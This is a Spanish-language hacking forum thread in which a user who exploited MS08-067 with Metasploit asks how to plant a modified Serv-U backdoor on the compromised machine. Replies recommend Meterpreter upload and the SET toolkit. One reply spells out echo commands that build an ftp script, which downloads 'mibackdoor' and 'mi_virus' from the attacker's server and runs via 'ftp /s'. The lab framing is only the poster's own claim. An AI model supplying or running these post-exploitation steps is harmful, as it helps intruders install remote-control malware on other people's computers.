Autor
|
Tema: Sembrar server desde Shell (Leído 4,864 veces)
|
piratlax
Desconectado
Mensajes: 2
|
hola, este es mi primer post y hasta lo pongo con un poco de culpa antes de que me digan que si no puedo buscar antes de postear, bueno sinceramente ya lo busque y e leido bastante pero no encontre algo en concreto, ahi les va mi duda:
Esto es por mi propio afan de estudiar y saber, no es para ver que tiene mi vecina ni nada de eso por el estilo, tengo varias maquinas en mi tallercillo y ejecutando nessus encontre que una de mis maquinas con XP (le puse UE10 sp3) tiene una vulnerabilidad de MS08-067, lo curioso que otra de mis maquinas le puse el xp colosus que trae el sp2 no trae esa vulnerabilidad, bueno pasando a lo otro, usando el Metasploit 3.4 use el exploit MS08_067_netapi y con payload generic reverse tcp y entre al sistema tambien me funciono con un VNC (el penultimo de la lista que dice allports), solo que entro en modo grafico y aparece una ventana azul del VNC y puedo controlarlo con mi propio mouse y teclado.
bueno la duda es esta: ya hice un server (una version modificada del Serv-u) y lo monte en un dominio, al estar en system 32 le hago el comando ftp y abre, al darle open, me conecto a mi ftp, me pide mi user, y hasta ahi llega, se me traba, lo he hecho desde la misma maquina y bajo el archivo ftp en binario, lo ejecuto y si entro a mis archivos de forma remota, pero no puedo ponerlo desde el exploit, ya intente con varios payloads y sin solucion, alguna recomendacion?
y perdon por tanto texto, pero era para que entendieran bien la situacion :p
ademas de que saludos y excelente pagina
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Te lo muevo aqui, espero que te puedan ayudar mejor
|
|
|
En línea
|
|
|
|
wACtOr
Desconectado
Mensajes: 461
Premio finalista diseño web elhacker.net
|
ami tambien se me queda colgado el FTP cuando lo ejecuto en una shell remota, no se por que la verda.
Yo utilizo una session de meterpreter para poder subir bajar archivos, asi no tengo que trastear con el ftp.
Meterpreter es un PAYLOAD de msf. Si quieres info creo que en hacking basico o avanzado hay unos tutoriares de Shell Root.
Si algun guru tambien sabe por que se puede querar colgado el FTP ami tambien me gustaria saberlo.
Un saludo gracias.
|
|
|
En línea
|
|
|
|
piratlax
Desconectado
Mensajes: 2
|
entonces puedo mandar mi bichito por el payload meterpreter? ahorita le busco como o si alguien me dice seria mas rapido
saludos y grax
|
|
|
En línea
|
|
|
|
Debci
Wiki
Desconectado
Mensajes: 2.021
Actualizate o muere!
|
entonces puedo mandar mi bichito por el payload meterpreter? ahorita le busco como o si alguien me dice seria mas rapido
saludos y grax
Si quieres hacerlo rapido, con la SET Suite. Saludos
|
|
|
En línea
|
|
|
|
guicamper322
Desconectado
Mensajes: 25
|
es por que apesar de que guindows es idiota no tanto bueno las dos posibilidades son a)enlugar de una shell/bin_tcp usar meterpeter ya que este prove de un comando que es upload <segido del fichero a subir>, que no necesitars ningun ftp ahora si la cantidad de ficheros es casi mayor que mis faltas ortograficas lo mejor es la b
b) crear un fichero de texto de la siguiente manera: ftp open direccion_ip_del_servidor usuario contraseña get fichero_1 get fichero_2 get fichero_3 get fichero_4 .... close quit
en este caso a ese fichero yo lo he llamado subir.txt como creamos este fichero pues con el comando echo un ejemplo:
c:\windows\system32>echo ftp open 127.0.0.1 >subir.tx c:\windows\system32>echo usuario>>subir.tx c:\windows\system32>echo password>>subir.tx c:\windows\system32>echo get mibackdoor>>subir.tx c:\windows\system32>echo get mi_virus>>subir.tx
posterior mente realizamos la conexion al ftp
c:\windows\system32>ftp /s:subir.txt
bueno esto ultimo no se si era asi pero vamos que con poner ftp /help se solventa
|
|
|
En línea
|
|
|
|
|
|